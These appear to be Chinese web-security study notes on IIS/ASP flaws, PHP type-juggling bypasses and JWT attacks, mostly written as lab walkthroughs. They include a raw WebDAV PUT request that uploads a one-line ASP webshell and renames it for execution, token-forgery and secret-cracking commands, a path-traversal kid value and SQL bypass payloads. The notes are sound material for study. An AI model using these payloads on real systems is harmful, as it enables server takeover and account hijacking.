1 asp安全

1.1 MDB默认下载

一般架构:windows+iis+asp+access(selserver)

access 数据库一般后缀名:asp、asa、mdb
mdb在网站目录下面

思路:如果知道这个数据库地址,可以尝试下载数据库文件,获取当前管理员账号密码信息

1.2 ASP后门植入

数据库是asp的格式,可以直接上传木马格式来实现后门植入

1.3 IIS短文件名漏洞

1.3.1 漏洞描述

此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息。

1.3.2 短文件名特征

  1. 只显示前6位的字符,后续字符用~1代替。其中数字1是可以递增。如果存在文件名类似的文件,则前面的6个字符是相同的,后面的数字进行递
  2. 后缀名最长只有3位,超过3位的会生成短文件名,且后缀多余的部分会截断。

1.4 IIS文件解析漏洞

1、目录解析:
以xx.asp命名的文件夹里的文件都将会被当成ASP文件执行。
2、文件解析:
xx.asp;.jpg 像这种畸形文件名在;后面的直接被忽略,也就是说当成xx.asp文件执行。

1.5 IIS PUT漏洞

1.5.1 Put漏洞造成原因

IIS Server在Web服务扩展中开启了WebDAV,配置了可以写入的权限,造成任意文件上传。

1.5.2 需要用到的工具

这里不借助这个工具也是可行的,熟悉了这些请求方式的格式之后,就可以通过burp抓包,改数据也行。

1
PUT /a.txt HTTP/1.1 Host: 219.153.49.228:48336 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Length: 24 <%exECuTe ReqUEst(0)%>

MOVE修改文件名(利用iis解析漏洞)

1
MOVE /a.txt HTTP/1.1 Host: 219.153.49.228:48336 Destination:/222.asp;jpg User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Content-Length: 2

2 ASPX(.net)安全

2.1 .Net配置调试-信息泄露

2.2 .Net源码反编译-DLL反编译

.net的bin下一般是可执行文件,比如.dll文件、.pdb文件等,将代码封装到dll文件,并调用dll文件实现网站功能,所以对dll文件进行反编译查看源码.

反编译的工具:ILSpy

2.3 .Net常见安全问题-未授权访问

  1. 找哪些文件没有包含验证码代码文件
  2. 验证代码文件有没有可以绕过的点

3 PHP安全

3.1 函数特性

3.1.1 弱类型比较陷阱

这类漏洞的核心在于 PHP 在使用 ==(或函数内部默认使用 ==)时,会自动进行类型转换。

1. 基础比较:=====

  • = 是赋值。

  • == 是弱比较(只对比值,类型不同会尝试转换,如 "1" == 1 为真)。

  • === 是强比较(同时对比值和类型,"1" === 1 为假)。

1
2
3
4
5
6
7
8
<?php
$flag = 'xiao xiao xiao';
$a = '1';
// 如果 $_GET['x'] 传入数字 1,条件成立
if($a == $_GET['x']){
echo $flag;
}
?>

2. MD5 弱比较绕过 (Magic Hashes)

  • 原理:当使用 == 比较两个以 0e 开头且纯数字结尾的字符串时,PHP 会把它们当成科学计数法,即 0 * 10^n = 0。所以 0e123 == 0e456 永远为真。

  • Payload:传入 s878926199a 等计算后 MD5 值为 0e... 格式的特定字符串。

1
2
3
4
5
if ($_GET['name'] != $_GET['password']){
if(md5($_GET['name']) == md5($_GET['password'])){
echo $flag;
}
}

3. in_array 白名单绕过

  • 原理in_array($needle, $haystack, $strict) 的第三个参数 $strict 默认是 false。如果不设置为 true,内部就会使用 == 进行比对。如果数组里有数字 1,你传入字符串 "1abc",在弱比较下会被截断转换为 1,从而绕过白名单。
1
2
3
4
5
$page = $_GET['i'];
$whitelist = array(1, 2, 3);
if(in_array($page, $whitelist)){ // 默认弱比较
echo "yes";
}

4. array_search 弱比较绕过(刚刚你遇到的)

  • 原理:和 in_array 类似,如果不传第三个参数 true,默认使用 ==。利用布尔值 true 弱等于任何非空字符串,或者数字 0 弱等于纯字母字符串(PHP < 8)来拿到匹配结果。
1
2
3
4
5
$qc = (array)json_decode($_GET['qc'], true);
// 传入 {"n":[true]},true == "QCyyds" 成立,返回键名 0
if (array_search("QCyyds", $qc["n"]) === false) {
die("no...");
}

3.1.2 内置函数参数缺陷

这类漏洞利用了 PHP 内置函数在处理非预期数据类型(主要是数组)时的报错、返回 NULL 或强行转换的特性。

1. MD5 强相等绕过 (===)

  • 原理md5() 函数无法处理数组。如果传入数组,PHP 会报 Warning 并返回 NULL。因此,如果两个参数都传入数组,就变成了 NULL === NULL,条件成立。

  • Payload?name[]=1&password[]=2

1
2
3
4
5
6
if ($_GET['name'] != $_GET['password']){
// 传入数组,两者都变成 NULL
if(md5($_GET['name']) === md5($_GET['password'])){
echo $flag;
}
}

2. preg_match 数组绕过

  • 原理preg_match 只能处理字符串。如果传入数组,它会返回 false(等同于 0),从而绕过正则的拦截逻辑。

PHP

1
2
3
4
5
6
7
if(isset($_GET['num'])){
$num = $_GET['num'];
// 如果传入 ?num[]=1,preg_match 无法处理返回 false,跳过 die
if (preg_match("/[0-9]/", $num)){
die("no no no!");
}
}

3. intval 数组/强制转换绕过

  • 原理intval() 常用来获取整数值。如果给它传入一个空数组,返回 0;传入非空数组,返回 1。如果传入字符串如 "666abc",它会截取前面的数字返回 666

PHP

1
2
3
4
5
6
$i = 666;
$ii = $_GET['n'];
// 结合上面的 preg_match 绕过,传入数组通常能让 if 里的判断产生意想不到的结果
if(intval($ii) == $i){
echo $flag;
}

3.1.3 字符串处理与逻辑绕过

这类问题通常出在正则修饰符不当,或者过滤函数无法递归检查。

1. str_replace 无法迭代过滤(双写绕过)

  • 原理str_replace 是一次性替换,不会回头检查替换后生成的新字符串。

  • Payload:为了绕过对 select 的过滤,可以构造 selselectect。中间的 select 被替换为空后,外围的字母正好拼接成一个新的 select

1
2
3
$sql = $_GET['s'];
$sql = str_replace("select", "", $sql);
echo $sql;

2. 正则多行绕过 (%0a)

  • 原理:在 preg_match 中,如果没有加 m(多行修饰符),^(开头)和 $(结尾)只会匹配整个字符串的第一行。如果你用 %0a(换行符)换行并在第二行输入 payload,就可以绕过匹配。
  • 示例应用:正则 /^admin$/,如果你传入 admin%0a123 是过不去的,但如果只是 if (preg_match('/^admin$/', $_GET['a'])),利用换行可以构造出绕过验证的代码执行。

3. strpos 返回值坑点

  • 原理strpos 寻找子串第一次出现的位置。如果子串刚好在开头(第 0 位),它会返回 0。而在 PHP 中 if (0) 会被当作 false 执行,导致逻辑判断错误。必须使用 !== false 来判断是否找到。

PHP

1
2
3
4
5
6
$i = '666';
$ii = $_GET['h']; // 假设传入 '6'
// strpos 返回 0,if(0) 为假,不会 echo flag。这是出题人常挖的坑
if (strpos($i, $ii) == "0"){
echo $flag;
}

这份笔记现在应该非常清晰了,你可以直接保存下来作为备忘录。这几个绕过手法在 Web 题里基本是排列组合着出现的,需要我针对其中哪一个提供更复杂的实战代码示例吗?

3.2 解析特性

3.2.1 URL传参

详细点:
默认特性:PHP 在解析处理 GET/POST 请求的参数名时,会自动将参数名中的点号(.)空格( ) 强制替换为下划线(_)

绕过原理: 当 PHP 在解析参数名时,如果遇到左中括号 [,会将其替换为下划线 _,并且立即停止替换后续字符中的所有点号和空格。利用这一底层逻辑,可以保留参数名中的特殊字符。

攻击场景: CTF 或代码审计中,当目标代码(如 isset())严格要求传入包含 . 或空格的特定参数名,而直接传参会被 PHP 自动替换导致匹配失败时。

1
2
3
4
// 假设目标要求传入特定的复杂参数名 
$param = 'can_y0.u get+fl&g?';
// 如果直接传入 ?can_y0.u get... PHP会将其转为 can_y0_u_get... 导致判断失败
if (!isset($_GET[$param]) || trim($_GET[$param]) === '') { die('传参失败'); } echo "绕过成功!";

Payload示例: ?can%5By0.u%20get%2Bfl%26g%3F=1 (URL解码前为:?can[y0.u get+fl&g?=1

3.2.2 mysql特性

3.2.2.1 算术运算绕过

利用数学表达式,让 intval() 只截取第一个数字,而 MySQL 会计算整个等式。

  • Payload: ?id=2*500
  • 原理: intval("2*500") 遇到 * 号停止,返回 22 < 999 绕过拦截。传入 MySQL 的语句变为 where id = 2*500,MySQL 计算结果为 1000
  • 其他变体: ?id=500*2?id=1000/1 等。

3.2.2.2 字符串引号绕过

利用单引号让 intval() 无法识别为数字。

  • Payload: ?id='1000'
  • 原理: intval("'1000'") 遇到的第一个字符是单引号,直接返回 00 < 999 绕过拦截。传入 MySQL 的语句变为 where id = '1000',MySQL 在比较时会自动将字符串 '1000' 转换为数字 1000

3.2.2.3 逻辑运算绕过 (SQL 注入)

利用 OR 逻辑运算符。

  • Payload: ?id=0 or id=1000 (可能需要 URL 编码空格:?id=0%20or%20id=1000)
  • 原理: intval("0 or id=1000") 返回 0。传入 MySQL 的语句变为 where id = 0 or id=1000,成功查询出 id 为 1000 的数据。

3.2.2.4 十六进制绕过 (适用于 PHP 7+)

  • Payload: ?id=0x3e8
  • 原理: 在较新的 PHP 版本中,intval() 默认不识别十六进制字符串,intval("0x3e8") 会返回 0。但 MySQL 能够识别 0x3e8 并将其解析为数字 1000

4 JAVA安全

4.1 身份认证

4.1.1 2FA漏洞

问题里面有很多选项:
S0. 你叫什么名字
S1. 你的出生地
S2. 你的老师
S3. 你的父母

验证:接收键名 键值
s0=温迪&s1=湖北 正确

但是当我们输入不存在的键值和键名时,由于不在数据库中,可以成立

4.1.2 JWT攻击

4.1.2.1 JWT简介

JSON Web Token(缩写 JWT)是目前最流行的跨域认证解决方案。JWT 的原理是,服务器认证以后,生成一个 JSON 对象,发回给用户,之后用户与服务端通信的时候,都要发回这个 JSON 对象。服务器完全只靠这个对象认定用户身份。为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名。
一个JWT例子如下,是一个很长的字符串,中间用点.分隔成三个部分,分别是头部、负载、签名。

1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcyODU3MDg2MywiZXhwIjoxNzI4NTc4MDYzLCJuYmYiOjE3Mjg1NzA4NjMsInN1YiI6InVzZXIiLCJqdGkiOiI1NWQ3ZDBlNjI2YzFjMjk2NTY5MGEwZWFlYTk3ZjJlZSJ9.L7RdUb-HcLH4-MTea7n4S7iuwFhuAPnbCSQlpwtKFx0
4.1.2.1.1 Header

Header 通常是下面的样子。

1
2
3
4
{
"alg": "HS256",
"typ": "JWT"
}

上面代码中,alg属性表示签名的算法(algorithm),默认是 HMAC SHA256(写成 HS256);typ属性表示这个令牌(token)的类型(type),JWT 令牌统一写为JWT

4.1.2.1.2 Payload

Payload 用来存放实际需要传递的数据。JWT 规定了7个官方字段,供选用;除了官方字段,也可以定义私有字段

1
2
3
4
5
6
7
iss (issuer):签发人
exp (expiration time):过期时间
sub (subject):主题
aud (audience):受众
nbf (Not Before):生效时间
iat (Issued At):签发时间
jti (JWT ID):编号
4.1.2.1.3 Signature

Signature 部分是对前两部分的签名,防止数据篡改。通过某个保存在服务器的密钥(secret),使用 Header 里面指定的签名算法(如HMAC SHA256)产生签名。

三个部分的内容用base64编码后用.连接,被返回给用户。

4.1.2.2 攻击方式

4.1.2.2.1 有缺陷的JWT签名验证:

(一)案例一:接受任意签名

原理:JWT库通常提供两种方法来处理令牌:一种是验证令牌,另一种只是解码令牌。例如,在Node.js的jsonwebtoken库中,有verify()和decode()方法。

verify() 方法:用于验证令牌的签名是否有效,同时解码令牌内容。如果签名无效,该方法会抛出错误。

decode() 方法:仅用于解码令牌内容,不解密或验证签名。

有时,开发人员可能会混淆这两个方法,错误地只将传入的令牌传递给decode()方法。这样做实际上意味着应用程序没有验证签名,从而可能引入安全风险。

Burp实验靶场 (注意:此关需将 Payload 中的 wiener更改为administrator):

(1)在实验室中,登录到您自己的帐户。

账号:密码 —> wiener:peter

(2)在Burp中,转到Proxy > HTTP history选项卡并查看登录后GET /my-account请求。请注意,您的会话cookie是JWT。

(3)双击令牌的有效负载部分以在“检查器”面板中查看其解码的JSON表单。请注意,子声明包含您的用户名。将此请求发送到Burp Repeater。

(4)在Burp Repeater中,将路径更改为/admin并发送请求。请注意,只有以管理员用户身份登录时,才能访问管理面板。

(5)再次选择JWT的有效负载。在Inspector面板中,将子声明的值从wiener更改为administrator,然后单击Apply changes。

(6)再次发送请求。观察您是否已成功访问管理面板。

(7)在响应中,找到用于删除carlos的URL(/admin/delete?username=carlos)。将请求发送到此端点以解决实验。

(二)接受空(none)签名

原理:在JWT的Header中,alg的值会告诉服务器用哪种算法对令牌签名(可变为客户端决定),这样服务器在验证签名时就知道该用哪种算法。

第一个示例:alg被设置为”HS256”,表示使用HMAC和SHA256算法对令牌进行签名。服务器在验证签名时会使用相同的算法和密钥。

{ “alg”: “HS256”, “typ”: “JWT” }

第二个示例:alg被设置为”None”,表示不使用签名。这意味着任何令牌都会被服务器视为有效,因为没有签名需要验证。这种设置在生产环境中非常危险,因为它允许攻击者伪造令牌。

{ “alg”: “None”, “typ”: “JWT” }

如果在生产环境中没有关闭这个功能,攻击者就可以利用它,把alg设为”None”,然后伪造出想要的令牌,用这个伪造的令牌冒充任意用户登录网站。

Burp实验靶场(注意:攻击手法与上一关卡一致,唯一区别在于,此关需将 header 中的 alg 参数值设为 none )

(1)登入,并获取普通用户权限,抓包获取流量

(2)流程与第一次一致,只不过变为修改 header 中的 alg 参数值设为 none ?你确定?不对,请继续看下文

(3)然后使用Inspector将alg参数的值更改为none。单击应用更改。在消息编辑器中,从JWT中删除签名,但请记住在有效负载之后留下尾随的点。

把“wiener”改成“administrator”,这等于直接告诉全世界“我是管理员”。把“alg”参数值设为“none”,就像对服务器说“嘿兄弟,我今天穿了丝袜”,结果服务器还真信了,不再验证签名。至于是否删除第三部分(Signature),这得看实际情况,不能一概而论。

(3)在响应中,找到用于删除carlos的URL(/admin/delete?username=carlos)。将请求发送到此端点以解决实验。

KID(Key ID):在 JWT 头部中,kid(Key ID)字段用于标识用于签名或加密的密钥。它的主要作用是帮助服务器快速找到正确的密钥,便于密钥管理和提高安全性。虽然 kid 字段不是 JWT 规范中强制要求的,但它是一个推荐使用的字段,特别是在需要管理多个密钥的场景下。

第二种:利用jwt_tool工具

python3 jwt_tool.py JWT_HERE -X a 【不再演示】

(三)案例三:敏感信息泄露

原理:JWT的header头base64解码(可泄露敏感数据)如:密钥文件或者密码

eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ

其中认证类型为JWT,加密算法为RS256,kid指定加密算法的密钥,密钥KID的路径为:keys/3c3c2ea1c3f113f649dc9389dd71b851k,则在 Web 根目录中查找 /key/3c3c2ea1c3f11

3f649dc9389dd71b851k 和 /key/3c3c2ea1c3f113f649dc9389dd71b851k.pem

密钥文件后缀:.cer、 .crt、.jwk、.p8、.keystore、.pfx、.p12、.pem、.jks、.der

4.1.2.2.2 暴力破解密钥:

原理:HS256(对称加密算法)签名算法使用任意独立字符串作为密钥,此秘密必须难以被攻击者猜到或暴力破解。否则,攻击者可利用此密钥,以任意头部和载荷值创建并重新签名 JWT。

开发人员在实现 JWT 应用时易犯错误,如未更改默认值(过于简单)或占位符密码(类似${db.password}的占位符),甚至直接使用从网上复制的代码片段中的示例硬编码秘密。此时,攻击者使用已知秘密的单词列表,可轻松暴力破解服务器秘密。

Burp实验靶场

(一)案例一:使用hashcat暴力强制密钥

(1)在实验中,登录到您自己的帐户并将登录后GET /my-account请求发送到Burp Repeater。

(2)JWT字典:https://github.com/wallarm/jwt-secrets

(3)hashcat工具:https://github.com/hashcat/hashcat

(4)复制JWT并暴力破解秘密。使用hashcat来实现:

针对如下JWT进行暴力破解:

eyJraWQiOiI2N2JjNWQwYi05NDZjLTQ5ZjItYjg4MS0yM2IxMTUzMTcxNTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc0MjQwMTkyNywic3ViIjoid2llbmVyIn0.Zi26POtZrsxBPDgEv98X-jNpEkq091Q17JHYPEz-Sfc

hashcat -m 16500 -a 0 /root/JWT/jwt.txt /root/JWT/jwt_secrets_list.txt —force

-m 16500:指定哈希类型为 JWT。

-a 0:指定攻击模式为字典攻击。

jwt.txt:包含 JWT 令牌的文件。

rockyou.txt:包含可能的密钥的字典文件。

—force:强制运行,即使 hashcat 提示某些警告或错误。

(5)生成伪造的签名密钥:secret1

生成网站:JSON Web Tokens - jwt.io

(6)修改并签署JWT

(二)案例二:使用jwt_tool暴力强制密钥

(1)在实验中,登录到您自己的帐户并将登录后GET /my-account请求发送到Burp Repeater。

(2)JWT字典:https://github.com/wallarm/jwt-secrets

(3)jwt_tool工具:https://github.com/ticarpi/jwt_tool

(4)复制JWT并暴力破解秘密。使用jwt_tool来实现:

针对如下JWT进行暴力破解:

eyJraWQiOiI2N2JjNWQwYi05NDZjLTQ5ZjItYjg4MS0yM2IxMTUzMTcxNTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc0MjQwMTkyNywic3ViIjoid2llbmVyIn0.Zi26POtZrsxBPDgEv98X-jNpEkq091Q17JHYPEz-Sfc

python3 jwt_tool.py JWT_HERE -C -d jwt_secrets_list.txt

python3:指定使用 Python 3 解释器来运行脚本。

jwt_tool.py:这是一个用于分析和破解 JWT 令牌的 Python 脚本。

JWT_HERE:这是你要分析或破解的 JWT 令牌的具体内容。你需要将 JWT_HERE 替换为实际的 JWT 令牌字符串。

-C:这个选项通常用于指定破解模式(Crack mode),即尝试使用字典攻击来破解 JWT 的密钥。

-d jwt_secrets_list.txt:这个选项指定一个字典文件,其中包含可能的密钥列表。jwt_secrets_list.txt 是字典文件的路径。

(5)生成伪造的签名密钥:secret1

生成网站:JSON Web Tokens - jwt.io

(6)修改并签署JWT

4.1.2.2.3 JWT头参数注入:

简提:根据JWS规范,只有alg头参数是强制性的【也可出现空(none)签名漏洞情况】

jwk(JSON Web Key)-JSON 对象(公/私 密钥),用于表示加密密钥,用于 JWT 的签名和验证。

jku(JSON Web Key Set URL)-提供一个URL,服务器可以从中获取包含正确密钥的一组密钥。

kid(密钥ID)-提供一个ID,在有多个密钥可供选择的情况下,服务器可以使用该ID来标识正确的密钥。根据键的格式,匹配对应的kid参数。

此漏洞的本质在于,用户能够操控JWT中参数,将这些参数告知接收方服务器(未经过充分的审核与判断便直接使用),在验证签名时在验证签名时采用由用户决定的密钥并注入经过修改的 JWT(JSON Web Token),这些 JWT 使用你自定义的任意密钥而非服务器的密钥进行签名。

(一)案例一:JWK参数注入自签名JWT

原理:服务器理应仅借助预先设定的有限公钥白名单(例如:keys数组)来验证 JWT 签名,以此确保验证过程的安全性与可控性。然而,部分服务器由于配置失误,有时会直接采用 jwk 参数里嵌入的任意密钥进行验证,这无疑为系统埋下了安全隐患。

keys数组:keys 数组包含了两个公钥。每个公钥都有一个唯一的 kid(密钥标识符),以及 kty(密钥类型)、n(模数)和 e(指数)等参数,这些参数用于标识和验证公钥。

{

“keys”: [

{

“kid”: “key1”,

“kty”: “RSA”,

“n”: “0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tSoc_BJECPebWKRXjBZCiFV4n3oknjhMstn64tZ_2W-5JsGY4Hc5n9yBXArwl93lqt7_RN5w6Cf0h4QyQ5v-65YGjQR0_FDW2QvzqY368QQMicAtaSqzs8KJZgnYb9c7d0zgdAZHzu6qMQvRL5hajrn1n91CbOpbISD08qNLyrdkt-bFTWhAI4vMQFh6WeZu0fM4lFd2NcRwr3XPksINHaQ-G_xBniIqbw0Ls1jF44-csFCur-kEgU8awapJzKnqDKgw”,

“e”: “AQAB”

},

{

“kid”: “key2”,

“kty”: “RSA”,

“n”: “m8d65sLkO3G5n67fWzR0C6c2m1Z9g2C6Z0u2W3q0F5J7y7x9L8r0R6c0t1Q”,

“e”: “AQAB”

}

]
}

举例:利用公钥PEM格式,转换为 JWT(JSON Web Token)所使用的 JWK(JSON Web Key)格式

openssl pkey -in public_key.pem -out public_key.json -inform PEM -outform JSON

openssl下载地址:https://github.com/openssl/openssl

JWK格式 - 例如:

{
“kid”: “0cbb10ae-e7ec-42d0-8d31-4de77764d079”,
“typ”: “JWT”,
“alg”: “RS256”,
“jwk”: {
“kty”: “RSA”,
“e”: “AQAB”,
“kid”: “0cbb10ae-e7ec-42d0-8d31-4de77764d079”,
“n”: “4XfFD85aeJMOgKPpgfsqUKSwwWBE9dMML79dWbwQMxw_DeA6r7As7gQa9NiUIx5IhPPa6Bbqql5kTgV2O-SBM-1WrhWMbsF946U2wi96LUuI53_o9Rto5dRvEAHhQAuPet1x9359k9dIopqPLsmKoN6g9AO7h_fkCt0Km41f90JM6A_cFZPy5fbhOhA1Y4-phLJgHPtxljkvuHuf—qSUXhb-p9xT5tu13iw65V1frJMIchswPGfoz-l2YQ8Jz2udlHS7yL-wr8CZ1tbMCFkmzR92k2Yis76-j5r9xRGiH5l—n5kfniENKuSMRQ_6IhfoTJql71vsyPvvTGVQ6Yxw”
}
}

Burp实验靶场 (注意:此关需将 Header中的jwk参数添加到JWT的头部来嵌入JWK):

(1)登入用户,获取普通用户权限的JWT

(2)利用插件jwt enditor

安装并创建KID JWK格式:

(3)注意修改内容:

读者:(一脸崩溃,双手抱头)不是,我说老天爷啊,这什么什么格式,谁能记得住啊!这是要把我的脑子变成浆糊嘛!你是不是跟我前世有仇,故意来刁难我这个无辜小可怜的!
0X04:(吓得一哆嗦,双手乱摇)别别别,大哥大姐饶命!马上马上,这就给您呈上答案,可千万别动手,我这小身板可禁不住打呀 !

(4)在JWT的头文件中,可以看到添加了一个包含公钥的jwk参数,修改”sub”:

“wiener”为”sub”: “administrator”,注意:修改路径为/admin/delete?username=carlos

第二种:利用jwt_tool工具

python3 jwt_tool.py JWT_HERE -X i 【不在演示】

(二)案例二:JKU参数注入自签名JWT

原理:有些服务器不直接使用jwk头参数嵌入公钥,而是允许您使用jku(或者x5u)头参数来引用包含密钥的JWK Set。当验证签名时,服务器从该URL获取相关密钥。

在这种攻击手法里,攻击者巧妙地利用了“jku”和“x5u”这两个标头值。这俩标头值就像一把钥匙,指向的是用于验证非对称签名令牌的 JWKS 文件,或者是 x509 证书(通常这 x509 证书本身也是放在 JWKS 文件里的)对应的 URL 。

JWK格式 - 例如:

Burp实验靶场(注意:此关需将 Header中的jwu参数添加到JWT的头部来嵌入恶意URL)

(1)登入用户,获取普通用户权限的JWT

(2)利用插件jwt enditor

安装并创建KID JWK格式:

(3)在浏览器中,转到漏洞利用服务器。

https://exploit-0adc003403db3d1582a2aad801a90009.exploit-server.net/

(4)将Body部分的内容替换为空的JWK Set,如下所示:

{

“keys”: [

]

}

(5)回到JWT编辑器的Keys选项卡,右键单击刚刚生成的键的条目,然后选择Copy Public Key as JWK。

(6)将JWK粘贴到漏洞服务器上的密钥数组中,然后存储漏洞。结果应该如下所示:

得到服务器url:

https://exploit-0adc003403db3d1582a2aad801a90009.exploit-server.net/donpo.json

(7)在JWT的头文件中添加一个新的jku参数。将其值设置为漏洞利用服务器上JWK Set的URL。

(8)成功(注意:攻击服务器点击“ store ” 保存否则失败)

如果服务器把验证密钥存储于数据库中,那么 kid 头参数也有可能成为 SQL 注入攻击的目标

(三)案例三:JWT通过kid头路径(目录遍历)造成空密钥签名或者SQL注入或者命令注入

原理:密钥 ID (kid) 是一个可选header,是字符串类型,用于表示文件系统或数据库中存在的特定密钥,然后使用其中内容来验证签名。如果有多个用于签署令牌的密钥,则此参数很有帮助,但如果它是可注入的,则可能很危险,因为攻击者可以指向内容可预测的特定文件。

思考:可遍历存在危害(空密钥签名)、存储在数据库危害(SQL注入)

补充知识点:

①对称加密中的 k 值在对称加密算法(如 HMAC-SHA256)中,k 值是对称密钥,用于生成和验证 JWT 的签名。

例如:

{

“kty”: “oct”,

“k”: “AyM1SysPpbyDfgZld3umj1qzKObwVMkoqQ-EstJQLr_T-1qS0gZH75aKtMN3Yj0iPS4hcgUuTwjAzZr1Z9CAow”

}

在这个例子中,k 是一个 Base64 URL 编码的对称密钥,用于 HMAC-SHA256 算法。

②非对称加密中的 k 值在非对称加密算法(如 RSA 或 ECDSA)中,通常使用公钥和私钥对,而不是单一的 k 值。非对称加密的 JWK 会包含不同的参数,例如 n(模数)、e(指数)等,而不是 k 值。

例如:

{

“kty”: “RSA”,

“n”: “0vx7agoebGcQSuuPiCAxXbJnweR4xGWGLmE12ocLZGypr9B28S71RuV6k1A6FhYH5cX0W9luPxhT06qZ6FtAHg”,

“e”: “AQAB”

}

Burp实验靶场(注意:dev/null文件默认为空文件、k 值修改为AA==也就是 null、k值)

(1)登入,获取JWT

(2)利用jwt enditor生成对称密钥,并修改“k”值 为 “AA==”

(3)修改jwt中的kid为“../../../../../../../dev/null”并点击sign进行空签名

(4)完成任务

(四)案例四:其他有趣的 JWT 头参数

cty(内容类型)攻击实现:

假设攻击者找到了绕过签名验证的方法,他们可能会尝试注入一个cty头,将内容类型更改为text/xml或application/x-java-serialized-object,以利用解析库的漏洞进行攻击。【可能会为XXE匿名化攻击提供新的载体】例如:

{

“alg”: “HS256”,

“typ”: “JWT”,

“cty”: “application/x-java-serialized-object”

}

x5c(X.509证书链)攻击实现:

攻击者可能会利用x5c参数注入自签名证书,以欺骗服务器使用该证书进行签名验证。【header参数可以用来注入自签名证书,类似于上面讨论的jwk header注入攻击。由于X.509格式及其扩展的复杂性,解析这些证书也可能引入漏洞】例如:

{

“alg”: “RS256”,

“typ”: “JWT”,

“x5c”: [

“MIIDxTCCAq2gAwIBAgIITZbf5m…(自签名证书内容)”

]

}

但有关更多细节,请查看CVE-2017-2800CVE-2018-2633

4.1.2.2.4 JWT算法混淆:

案例:(CVE-2016-5431/CVE-2016-10555)

对称与非对称算法:

可以使用一系列不同的算法对JWT进行签名。其中一些,如HS 256(HMAC + SHA-256)使用“对称”密钥。这意味着服务器使用单个密钥来签名和验证令牌。显然,这需要保密,就像密码一样。

其他算法,如RS 256(RSA + SHA-256)使用“非对称”密钥对。它由一个私钥和一个与数学相关的公钥组成,服务器使用私钥对令牌进行签名,公钥可用于验证签名。

原理:

算法混淆漏洞通常是由于JWT库的有缺陷的实现引起的。尽管实际的验证过程因所使用的算法而异,但许多库都提供了一种与算法无关的方法来验证签名。这些方法依赖于令牌头中的alg参数来确定它们应该执行的验证类型。

1.下面的伪代码显示了一个简化的示例,说明了这个泛型verify()方法的声明在JWT库中可能是什么样子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

function verify(token, secretOrPublicKey){

algorithm = token.getAlgHeader();

if(algorithm == "RS256"){

 // Use the provided key as an RSA public key

} else if (algorithm == "HS256"){

// Use the provided key as an HMAC secret key

}

}

2.开发人员的错误假设

1
2
3
4
publicKey = <public-key-of-server>;

token = request.getCookie("session"); verify(token, publicKey);

开发人员假设所有传入的 JWT 都是使用非对称算法(如 RS256)签名的,因此总是传入一个固定的公钥(publicKey)。

(一)案例一:逻辑混淆绕过JWT算法(暴露公钥情况)

详细的攻击步骤 攻击者构造恶意 JWT:

1、创建一个 JWT,将 alg 设置为 HS256。

2、使用服务器的公钥(publicKey)作为 HMAC 的秘密密钥对 JWT 进行签名。

服务器验证恶意 JWT:

1、服务器接收到 JWT 后,调用 verify(token, publicKey)。

2、由于 alg 是 HS256,服务器将 publicKey 视为 HMAC 的秘密密钥。 攻击者使用相同的公钥作为 HMAC 密钥签名,服务器会错误地认为签名是有效的。

(思考:为什么不随便使用自己生成的密钥?回答:如果攻击者使用随机生成的密钥进行签名,服务器在验证时会使用自己的公钥进行验证,这会导致签名验证失败)

Burp实验靶场(注意:主要在于alg参数,提醒URL/jwks. json每次的不一样)

(1)在浏览器中,转到标准端点/jwks. json并观察服务器公开了包含单个公钥的JWK Set。 从keys数组中复制JWK对象。确保您不会意外地从周围的数组中复制任何字符。

(2)在Burp中,转到Burp主选项卡栏中的JWT编辑器插键。 单击新建RSA密钥。 在对话框中,确保选中了JWK选项,然后粘贴刚刚复制的JWK。单击“确定”保存密钥。 右键单击刚刚创建的密钥的条目,然后选择复制公钥作为PEM。 使用Decoder模块对PEM键进行Base64编码,然后复制结果字符串。

(3)在 JWT Editor Keys 处,生成新的对称加密 Key,用之前保存的 base64 编码去替换 k 的值。修改“alg ” 为 “HS256”,修改 “sub” 为“ administrator”。再进行 Sign 操作,最后发包即可。

(二)案例二:JWT令牌中导出公钥(未暴露公钥情况)

补充:

(1)X.509

(1.1)定义:X.509是一种国际标准(ITU-T X.509)定义的公钥证书格式,广泛应用于公钥基础设施(PKI)中,用于验证公钥的合法性。

(1.2)内容:X.509证书包含多个字段,如版本号、序列号、签名算法、颁发者名称、有效期、主体名称、公钥信息、扩展等。

PEM格式举例:

——-BEGIN CERTIFICATE——-

MIIDxTCCAq2gAwIBAgIITZbf5mFck0IwDQYJKoZIhvcNAQELBQAw

CjELMAkGA1UEBhMCQVUxEzARBgNVBAgTCkNhbGlmb3JuaWExFjAU

BgNVBAcTDVNhbiBGcmFuY2lzY28xFTATBgNVBAoTDE1ha2V0R3Jvd

…(省略部分内容)

——-END CERTIFICATE——-

(1.3)用途:X.509证书用于验证公钥的合法性,确保通信双方的身份真实可信,广泛应用于SSL/TLS、电子邮件加密、代码签名等场景。

(2)PKCS#1

(2.1)定义:PKCS#1是RSA加密算法的标准,定义了RSA密钥的表示方法和加密、解密的运算过程。
